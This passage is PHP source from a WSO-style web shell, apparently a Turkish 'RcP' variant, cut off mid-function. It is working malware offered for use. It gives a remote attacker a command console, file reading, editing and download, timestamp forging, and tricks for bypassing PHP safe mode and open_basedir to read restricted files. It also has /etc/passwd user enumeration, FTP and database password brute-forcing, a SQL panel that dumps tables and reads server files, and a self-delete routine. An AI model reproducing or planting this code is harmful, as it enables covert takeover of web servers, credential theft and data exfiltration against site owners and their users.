if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
$stringTools = array(
'Base64 encode' => 'base64_encode',
'Base64 decode' => 'base64_decode',
'Url encode' => 'urlencode',
'Url decode' => 'urldecode',
'Full urlencode' => 'full_urlencode',
'md5 hash' => 'md5',
'sha1 hash' => 'sha1',
'crypt' => 'crypt',
'CRC32' => 'crc32',
'ASCII to HEX' => 'ascii2hex',
'HEX to ASCII' => 'hex2ascii',
'HEX to DEC' => 'hexdec',
'HEX to BIN' => 'hex2bin',
'DEC to HEX' => 'dechex',
'DEC to BIN' => 'decbin',
'BIN to HEX' => 'binhex',
'BIN to DEC' => 'bindec',
'String to lower case' => 'strtolower',
'String to upper case' => 'strtoupper',
'Htmlspecialchars' => 'htmlspecialchars',
'String length' => 'strlen',
);
if(isset($_POST['ajax'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
ob_start();
if(in_array($_POST['p1'], $stringTools))
echo $_POST['p1']($_POST['p2']);
$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"
\'")."';
";
echo strlen($temp), "
", $temp;
exit;
}
wsoHeader();
echo '<h1>Encode - <a href=http://www.google.com.trt>� By RcP `</a></h1><div class=content>';
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
foreach($stringTools as $k => $v)
echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
if(!empty($_POST['p1'])) {
if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
}
echo"</pre></div><br><h1>Yaziyi ara- <a href=http://www.google.com.trt>� By RcP `</a> : </h1><div class=content>
<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
<tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
<tr><td></td><td><input type='submit' value='>>'></td></tr>
</table></form>";
function wsoRecursiveGlob($path) {
if(substr($path, -1) != '/')
$path.='/';
$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
if(is_array($paths)&&@count($paths)) {
foreach($paths as $item) {
if(@is_dir($item)){
if($path!=$item)
wsoRecursiveGlob($item);
} else {
if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
}
}
}
}
if(@$_POST['p3'])
wsoRecursiveGlob($_POST['c']);
echo "</div><br><h1>Hash Ara- <a href=http://www.google.com.trt>� By RcP `</a>:</h1><div class=content>
<form method='post' target='_blank' name='hf'>
<input type='text' name='hash' style='width:200px;'><br>
<input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
<input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
<input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
<input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
</form></div>";
wsoFooter();
}
function actionFilesTools() {
if( isset($_POST['p1']) )
$_POST['p1'] = urldecode($_POST['p1']);
if(@$_POST['p2']=='download') {
if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
if (function_exists("mime_content_type")) {
$type = @mime_content_type($_POST['p1']);
header("Content-Type: " . $type);
} else
header("Content-Type: application/octet-stream");
$fp = @fopen($_POST['p1'], "r");
if($fp) {
while(!@feof($fp))
echo @fread($fp, 1024);
fclose($fp);
}
}exit;
}
if( @$_POST['p2'] == 'mkfile' ) {
if(!file_exists($_POST['p1'])) {
$fp = @fopen($_POST['p1'], 'w');
if($fp) {
$_POST['p2'] = "edit";
fclose($fp);
}
}
}
wsoHeader();
echo '<h1>Dosya Arac Gerec - <a href=http://www.google.com.trt>� By RcP `</a></h1><div class=content>';
if( !file_exists(@$_POST['p1']) ) {
echo 'File not exists';
wsoFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST['p1']));
if(!$uid) {
$uid['name'] = @fileowner($_POST['p1']);
$gid['name'] = @filegroup($_POST['p1']);
} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
echo '<span>Adi:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Boyutu:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Izni:</span> '.wsoPermsColor($_POST['p1']).' <span>Kurucusu/Grubu:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
echo '<span>Olusturulma Zamani:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
if( empty($_POST['p2']) )
$_POST['p2'] = 'view';
if( is_file($_POST['p1']) )
$m = array('Incele', 'Highlight', 'Download', 'Hexdump', 'Duzenle', 'IzД?n Degistir', 'Yeniden adlandir', 'Touch');
else
$m = array('Д?zin degistir', 'Yeniden Adlandir', 'Touch');
foreach($m as $v)
echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
echo '<br><br>';
switch($_POST['p2']) {
case 'view':
echo '<pre class=ml1>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</pre>';
break;
case 'highlight':
if( @is_readable($_POST['p1']) ) {
echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
$code = @highlight_file($_POST['p1'],true);
echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
}
break;
case 'chmod':
if( !empty($_POST['p3']) ) {
$perms = 0;
for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
if(!@chmod($_POST['p1'], $perms))
echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
break;
case 'edit':
if( !is_writable($_POST['p1'])) {
echo 'File isn\'t Yazilabilir';
break;
}
if( !empty($_POST['p3']) ) {
$time = @filemtime($_POST['p1']);
$_POST['p3'] = substr($_POST['p3'],1);
$fp = @fopen($_POST['p1'],"w");
if($fp) {
@fwrite($fp,$_POST['p3']);
@fclose($fp);
echo 'Saved!<br><script>p3_="";</script>';
@touch($_POST['p1'],$time,$time);
}
}
echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</textarea><input type=submit value=">>"></form>';
break;
case 'hexdump':
$c = @file_get_contents($_POST['p1']);
$n = 0;
$h = array('00000000<br>','','');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf('%02X',ord($c[$i])).' ';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= ' '; break;
case 9: $h[2] .= ' '; break;
case 10: $h[2] .= ' '; break;
case 13: $h[2] .= ' '; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
$h[1] .= '<br>';
$h[2] .= "
";
}
}
echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
break;
case 'rename':
if( !empty($_POST['p3']) ) {
if(!@rename($_POST['p1'], $_POST['p3']))
echo 'Can\'t rename!<br>';
else
die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
}
echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
break;
case 'touch':
if( !empty($_POST['p3']) ) {
$time = strtotime($_POST['p3']);
if($time) {
if(!touch($_POST['p1'],$time,$time))
echo 'Fail!';
else
echo 'Touched!';
} else echo 'Bad time format!';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
break;
}
echo '</div>';
wsoFooter();
}
function actionSafeMode() {
$temp='';
ob_start();
switch($_POST['p1']) {
case 1:
$temp=@tempnam($test, 'cx');
if(@copy("compress.zlib://".$_POST['p2'], $temp)){
echo @file_get_contents($temp);
unlink($temp);
} else
echo 'Sorry... Can\'t open file';
break;
case 2:
$files = glob($_POST['p2'].'*');
if( is_array($files) )
foreach ($files as $filename)
echo $filename."
";
break;
case 3:
$ch = curl_init("file://".$_POST['p2']."".preg_replace('!\(\d+\)\s.*!', '', 'index.php'));
curl_exec($ch);
break;
case 4:
ini_restore("safe_mode");
ini_restore("open_basedir");
include($_POST['p2']);
break;
case 5:
for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
$uid = @posix_getpwuid($_POST['p2']);
if ($uid)
echo join(':',$uid)."
";
}
break;
}
$temp = ob_get_clean();
wsoHeader();
echo '<h1>Safe mode bypass - <a href=http://www.google.com.trt>� By RcP `</a></h1><div class=content>';
echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
if($temp)
echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
echo '</div>';
wsoFooter();
}
function actionConsole() {
if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true;
$_POST['p1'] .= ' 2>&1';
} elseif(!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = false;
if(isset($_POST['ajax'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
ob_start();
echo "d.cf.cmd.value='';
";
$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ ".$_POST['p1']."
".wsoEx($_POST['p1']),"
\'"));
if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
if(@chdir($match[1])) {
$GLOBALS['cwd'] = @getcwd();
echo "c_='".$GLOBALS['cwd']."';";
}
}
echo "d.cf.output.value+='".$temp."';";
echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
$temp = ob_get_clean();
echo strlen($temp), "
", $temp;
exit;
}
wsoHeader();
echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
var n = (window.Event) ? e.which : e.keyCode;
if(n == 38) {
cur--;
if(cur>=0)
document.cf.cmd.value = cmds[cur];
else
cur++;
} else if(n == 40) {
cur++;
if(cur < cmds.length)
document.cf.cmd.value = cmds[cur];
else
cur--;
}
}
function add(cmd) {
cmds.pop();
cmds.push(cmd);
cmds.push('');
cur = cmds.length-1;
}
</script>";
echo '<h1>Konsol - <a href=http://www.google.com.trt>� By RcP `</a></h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
foreach($GLOBALS['aliases'] as $n => $v) {
if($v == '') {
echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
continue;
}
echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
}
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
if(!empty($_POST['p1'])) {
echo htmlspecialchars("$ ".$_POST['p1']."
".wsoEx($_POST['p1']));
}
echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
echo '</form></div><script>d.cf.cmd.focus();</script>';
wsoFooter();
}
function actionLogout() {
session_destroy();
die('bye!');
}
function actionSelfRemove() {
if($_POST['p1'] == 'yes')
if(@unlink(preg_replace('!\(\d+\)\s.*!', '', 'index.php')))
die('Shell has been removed');
else
echo 'unlink error!';
if($_POST['p1'] != 'yes')
wsoHeader();
echo '<h1>Soru Ekrani <a href=http://www.google.com.trt>� By RcP `</a></h1><div class=content>Gercekten silicekmisin<br><a href=# onclick="g(null,null,\'yes\')">EVET</a></div>';
wsoFooter();
}
function actionBruteforce() {
wsoHeader();
if( isset($_POST['proto']) ) {
echo '<h1>Sonuclar <a href=http://www.google.com.trt>� By RcP `</a></h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
if( $_POST['proto'] == 'ftp' ) {
function bruteForce($ip,$port,$login,$pass) {
$fp = @ftp_connect($ip, $port?$port:21);
if(!$fp) return false;
$res = @ftp_login($fp, $login, $pass);
@ftp_close($fp);
return $res;
}
} elseif( $_POST['proto'] == 'mysql' ) {
function bruteForce($ip,$port,$login,$pass) {
$res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
@mysql_close($res);
return $res;
}
} elseif( $_POST['proto'] == 'pgsql' ) {
function bruteForce($ip,$port,$login,$pass) {
$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
$res = @pg_connect($str);
@pg_close($res);
return $res;
}
}
$success = 0;
$attempts = 0;
$server = explode(":", $_POST['server']);
if($_POST['type'] == 1) {
$temp = @file('/etc/passwd');
if( is_array($temp) )
foreach($temp as $line) {
$line = explode(":", $line);
++$attempts;
if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
}
if(@$_POST['reverse']) {
$tmp = "";
for($i=strlen($line[0])-1; $i>=0; --$i)
$tmp .= $line[0][$i];
++$attempts;
if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
}
}
}
} elseif($_POST['type'] == 2) {
$temp = @file($_POST['dict']);
if( is_array($temp) )
foreach($temp as $line) {
$line = trim($line);
++$attempts;
if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
$success++;
echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
}
}
}
echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
}
echo '<h1>FTP bruteforce <a href=http://www.google.com.trt>� By RcP `</a></h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
.'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
.'<span>Server:port</span></td>'
.'<td><input type=text name=server value="127.0.0.1"></td></tr>'
.'<tr><td><span>Brute type</span></td>'
.'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
.'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
.'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
.'<td><input type=text name=login value="root"></td></tr>'
.'<tr><td><span>Dictionary</span></td>'
.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
.'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
echo '</div><br>';
wsoFooter();
}
function actionSql() {
class DbClass {
var $type;
var $link;
var $res;
function DbClass($type) {
$this->type = $type;
}
function connect($host, $user, $pass, $dbname){
switch($this->type) {
case 'mysql':
if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
break;
case 'pgsql':
$host = explode(':', $host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
}
return false;
}
function selectdb($db) {
switch($this->type) {
case 'mysql':
if (@mysql_select_db($db))return true;
break;
}
return false;
}
function query($str) {
switch($this->type) {
case 'mysql':
return $this->res = @mysql_query($str);
break;
case 'pgsql':
return $this->res = @pg_query($this->link,$str);
break;
}
return false;
}
function fetch() {
$res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type) {
case 'mysql':
return @mysql_fetch_assoc($res);
break;
case 'pgsql':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs() {
switch($this->type) {
case 'mysql':
return $this->query("SHOW databases");
break;
case 'pgsql':
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
break;
}
return false;
}
function listTables() {
switch($this->type) {
case 'mysql':
return $this->res = $this->query('SHOW TABLES');
break;
case 'pgsql':
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
break;
}
return false;
}
function error() {
switch($this->type) {
case 'mysql':
return @mysql_error();
break;
case 'pgsql':
return @pg_last_error();
break;
}
return false;
}
function setCharset($str) {
switch($this->type) {
case 'mysql':
if(function_exists('mysql_set_charset'))
return @mysql_set_charset($str, $this->link);
else
$this->query('SET CHARSET '.$str);
break;
case 'pgsql':
return @pg_set_client_encoding($this->link, $str);
break;
}
return false;
}
function loadFile($str) {
switch($this->type) {
case 'mysql':
return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
break;
case 'pgsql':
$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
$r=array();
while($i=$this->fetch())
$r[] = $i['file'];
$this->query('drop table wso2');
return array('file'=>implode("
",$r));
break;
}
return false;
}
function dump($table, $fp = false) {
switch($this->type) {
case 'mysql':
$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
$create = mysql_fetch_array($res);
$sql = $create[1].";
";
if($fp) fwrite($fp, $sql); else echo($sql);
$this->query('SELECT * FROM `'.$table.'`');
$head = true;
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
if($v == null)
$item[$k] = "NULL";
elseif(is_numeric($v))
$item[$k] = $v;
else
$item[$k] = "'".@mysql_real_escape_string($v)."'";
$columns[] = "`".$k."`";
}
if($head) {
$sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES
(".implode(", ", $item).')';
$head = false;
} else
$sql = "
,(".implode(", ", $item).')';
if($fp) fwrite($fp, $sql); else echo($sql);
}
if(!$head)
if($fp) fwrite($fp, ";
"); else echo(";
");
break;
case 'pgsql':
$this->query('SELECT * FROM '.$table);
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
$item[$k] = "'".addslashes($v)."'";
$columns[] = $k;
}
$sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
";
if($fp) fwrite($fp, $sql); else echo($sql);
}
break;
}
return false;
}
};
$db = new DbClass($_POST['type']);
if(@$_POST['p2']=='download') {
$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
$db->selectdb($_POST['sql_base']);
switch($_POST['charset']) {
case "UTF-8": $db->setCharset('utf8'); break;
case "Windows-1251": $db->setCharset('cp1251'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
if(empty($_POST['file'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=dump.sql");
header("Content-Type: text/plain");
foreach($_POST['tbl'] as $v)
$db->dump($v);
exit;
} elseif($fp = @fopen($_POST['file'], 'w')) {
foreach($_POST['tbl'] as $v)
$db->dump($v, $fp);
fclose($fp);
unset($_POST['p2']);
} else
die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
}
wsoHeader();
echo "
<h1>Sql Alani - <a href=http://www.google.com.trt>� By RcP `</a></h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";
if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
$tmp = "<input type=text name=sql_base value=''>";
if(isset($_POST['sql_host'])){
if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
switch($_POST['charset']) {
case "UTF-8": $db->setCharset('utf8'); break;
case "Windows-1251": $db->setCharset('cp1251'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
$db->listDbs();
echo "<select name=sql_base><option value=''></option>";
while($item = $db->fetch()) {
list($key, $value) = each($item);
echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
}
echo '</select>';
}
else echo $tmp;
}else
echo $tmp;
echo "</td>
<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
<td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
</tr>
</table>
<script>
s_db='".@addslashes($_POST['sql_base'])."';
function fs(f) {
if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
if(f.p1) f.p1.value='';
if(f.p2) f.p2.value='';
if(f.p3) f.p3.value='';
}
}
function st(t,l) {
d.sf.p1.value = 'select';
d.sf.p2.value = t;
if(l && d.sf.p3) d.sf.p3.value = l;
d.sf.submit();
}
function is() {
for(i=0;i<d.sf.elements['tbl[]'].length;++i)
d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
}
</script>";
if(isset($db) && $db->link){
echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
if(!empty($_POST['sql_base'])){
$db->selectdb($_POST['sql_base']);
echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
$tbls_res = $db->listTables();
while($item = $db->fetch($tbls_res)) {
list($key, $value) = each($item);
if(!empty($_POST['sql_count']))
$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
$value = htmlspecialchars($value);
echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
}
echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
if(@$_POST['p1'] == 'select') {
$_POST['p1'] = 'query';
$_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
$num = $db->fetch();
$pages = ceil($num['n'] / 30);
echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
echo " of $pages";
if($_POST['p3'] > 1)
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
if($_POST['p3'] < $pages)
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
$_POST['p3']--;
if($_POST['type']=='pgsql')
$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
else
$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
echo "<br><br>";
}
if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
$db->query(@$_POST['p2']);
if($db->res !== false) {
$title = false;
echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
$line = 1;
while($item = $db->fetch()) {
if(!$title) {
echo '<tr>';
foreach($item as $key => $value)
echo '<th>'.$key.'</th>';
reset($item);
$title=true;
echo '</tr><tr>';
$line = 2;
}
echo '<tr class="l'.$line.'">';
$line = $line==1?2:1;
foreach($item as $key => $value) {
if($value == null)
echo '<td><i>null</i></td>';
else
echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
}
echo '</tr>';
}
echo '</table>';
} else {
echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
}
}
echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
echo htmlspecialchars($_POST['p2']);
echo "</textarea><br/><input type=submit value='Execute'>";
echo "</td></tr>";
}
echo "</table></form><br/>";
if($_POST['type']=='mysql') {
